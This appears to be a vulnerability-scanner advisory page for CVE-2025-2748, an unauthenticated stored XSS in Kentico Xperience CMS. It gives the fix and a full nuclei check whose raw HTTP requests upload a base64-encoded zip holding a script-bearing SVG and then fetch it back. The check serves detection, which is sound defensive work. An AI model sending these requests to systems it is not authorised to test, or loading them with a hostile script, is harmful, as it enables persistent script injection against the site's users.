Kentico Xperience CMS - Unauthenticated Stored XSS

mediumseverity

6.5CVSS score

60.6%likelihood of exploitation, next 30 days

99%of all CVEs are less likely

Readycheck to confirm it

The Kentico Xperience application does not fully validate or filter files uploaded via the multiple-file upload functionality, which allows for stored XSS.This issue affects Kentico Xperience through 13.0.178.

Impact

Unauthenticated attackers can upload malicious SVG files containing JavaScript payloads that persist on the server, allowing stored XSS attacks when the files are accessed by authenticated users.

Fix

Upgrade to Kentico Xperience version 13.0.179 or later that properly validates and sanitizes uploaded files.

How to confirm it

Send: POST /CMSModules/Content/CMSPages/MultiFileUploader.ashx?Filename={{randstr}}.zip&Complete=false
Positive when: status 200
Send: GET /CMSPages/GetResource.ashx?image=/App_Data/CMSTemp/MultiFileUploader/00/00000000-0000-0000-0000-000000000000/[{{randstr}}.zip]/xss.svg
Positive when: contains "alert(document.domain)" AND contains in content_type "image/svg+xml"

Run it with nuclei: nuclei -id CVE-2025-2748 -u <target>

The full check

id: CVE-2025-2748

info:
  name: Kentico Xperience CMS - Unauthenticated Stored XSS
  author: iamnoooob,rootxharsh,pdresearch
  severity: medium
  description: |
    The Kentico Xperience application does not fully validate or filter files uploaded via the multiple-file upload functionality, which allows for stored XSS.This issue affects Kentico Xperience through 13.0.178.
  impact: |
    Unauthenticated attackers can upload malicious SVG files containing JavaScript payloads that persist on the server, allowing stored XSS attacks when the files are accessed by authenticated users.
  remediation: |
    Upgrade to Kentico Xperience version 13.0.179 or later that properly validates and sanitizes uploaded files.
  reference:
    - https://labs.watchtowr.com/xss-to-rce-by-abusing-custom-file-handlers-kentico-xperience-cms-cve-2025-2748/
    - https://devnet.kentico.com/download/hotfixes
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2025-2748
    cwe-id: CWE-79
    epss-score: 0.60586
    epss-percentile: 0.99153
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="Kentico-CMS"
  tags: cve,cve2025,kentico,xss,unauth,intrusive,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |-
        POST /CMSModules/Content/CMSPages/MultiFileUploader.ashx?Filename={{randstr}}.zip&Complete=false HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        {{base64_decode('UEsDBBQAAAAIADR5gVqiOVAGEwEAAHwBAAAHABwAeHNzLnN2Z1VUCQADc8nrZ033sWd1eAsAAQT1AQAABBQAAABtkEFPAjEQhe/7K8bxognudAUO6C4kAiEmRklEjcfKlqVa2k1bWPj3zrIXD/bUvHnzvdfmk+POwEH5oJ0tMEsFQojSltI4qwq0DifjJL+YvUxXn8s5hEMFy7eHp8cp4A3RR39KNFvN4PV9AVmaEc2fEXAbY31H1DRN2vRT5ytaeFlv9ToQG6k18hIxLMvSMpY4TpK8Rf8pkiF8yaCW3m204SabvTEI3NaG4p+AWyFEC2QUAOS1M6fKWdBlgdFraSujEGqnbeR10RMgekMBQ74hcIAp8FKI0Uic3+/djzoLgwEL1CHD2us6QjzVPIvqGOlbHmSndql8pFE+XpVuvd8pG9PS7aS21/dnAHVe/s626Dj5BVBLAQIeAxQAAAAIADR5gVqiOVAGEwEAAHwBAAAHABgAAAAAAAEAAACkgQAAAAB4c3Muc3ZnVVQFAANzyetndXgLAAEE9QEAAAQUAAAAUEsFBgAAAAABAAEATQAAAFQBAAAAAA==')}}

    matchers:
      - type: status
        internal: true
        status:
          - 200

  - raw:
      - |
        GET /CMSPages/GetResource.ashx?image=/App_Data/CMSTemp/MultiFileUploader/00/00000000-0000-0000-0000-000000000000/[{{randstr}}.zip]/xss.svg HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(document.domain)"

      - type: word
        part: content_type
        words:
          - 'image/svg+xml'

References

Use this check only on systems you are authorised to test. Where the data comes from